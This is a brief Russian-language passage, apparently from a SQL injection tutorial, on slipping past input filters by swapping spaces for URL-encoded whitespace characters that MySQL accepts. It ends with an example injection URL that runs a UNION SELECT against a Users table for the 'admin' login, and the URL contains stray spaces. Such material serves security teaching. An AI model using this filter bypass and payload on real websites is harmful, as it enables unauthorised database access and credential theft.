Помимо самого пробела есть еще несколько пробельных символов, которые MySQL воспринимает как пробел, это:

%09 – табуляция

%0A – символ новой строка

%0D – возврат каретки

%0B – вертикальная табуляция

%0C – символ новой страницы

Какой нибудь из этих символов может да и пропустит фильтр. Пример:

http://xxx/news.php?id=1'%09UNION%09SELECT%091,2,3,4,5,6%09FR OM%09Users%0 9WHERE%09login='admin'#